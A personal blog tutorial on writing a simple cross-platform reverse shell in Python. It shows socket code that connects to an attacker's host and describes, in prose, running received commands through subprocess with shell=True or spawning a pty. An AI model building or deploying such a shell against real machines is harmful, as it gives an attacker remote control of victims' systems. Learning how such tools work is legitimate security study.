twisted logic

~building a simple reverse shell in python~

before i start, i would like to thank @0xdade for looking at my code and providing valuable suggestions!

i wanted to get some practice with python and review network programming, what better way than writing code for a simple reverse shell? i'm not very good at programming, so if i can do this, anyone can!

to start, let's think about what a reverse shell does, so you know the steps you should take when writing the code. when a reverse shell executes on the victim machine, it first connects to the attacker's server. Then it listens for commands that are issued to it by the attacker over this connection, executes them, and sends the results back.

step one, establish a connection to the attacker's server. we can use the socket module in python to do this. when creating the socket, pass the parameter socket.SOCK_STREAM for a tcp connection. assuming you defined HOST and PORT earlier, your code would look like this, for example.


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

now, there are two approaches we can take. one way is to redirect stdin, stdout, and stderr to our socket and then use pty.spawn to spawn a tty. this works beautifully on linux, but on windows, various quirks (being unable to import certain modules, how the os handles file descriptors) prevent this from working.

another way, which works on windows as well as linux, is to read a command from the socket, and use subprocess.run to execute it. make sure when calling subprocess.run, include the parameter shell=True because we want the command to be executed using the shell. normally this is not a good idea since it causes security issues, but here you are the attacker and you want shell execution. when the command finishes its execution, send the output over the socket to the attacker's server. this approach has its limitations, as your shell is not fully interactive. if you accidentally run a command that hangs (like ping on linux) you will have to restart the reverse shell all over again.

because i want my code to be able to run on different operating systems, let's combine the two approaches. i start off with the above approach, and if the command 'shell' is received, the program attempts to spawn a tty. this is a good place to use a try/except block. we don't want the program to crash if this fails (i.e. if you are on windows), so just report back that it was unable to do so. this allows for the most flexibility, we can spawn a tty if we are on linux but our code will function (albeit crudely) on other platforms as well.

when using the socket module, i took a few things into account, in particular with the send and recv methods. the send method may not send the whole message as once, so i just created a wrapper function around it to ensure the entire message will be sent. similarly, with the recv method, you don't know how much data will be sent. so i keep a backlog of all the data that has been received so far. since i know each command will be separated by a newline character, when i want to read the next command, i can check the backlog to see if anything is there. if not i will wait to receive the next command from the socket.

before i started this mini-project, i felt a little intimidated by python, since i haven't gotten along with python very well in the past. i wanted to play with it though, because it seems like a useful language to learn for hacking. this time, i feel like dealing with the syntax came more naturally. i appreciate the strengths of python more, and definitely want to do more things with it.

i hope this is useful for someone, i know there is a lot of similar code online, but hopefully describing my thought process when writing this code is helpful. the complete code can be downloaded here as a python file. have fun!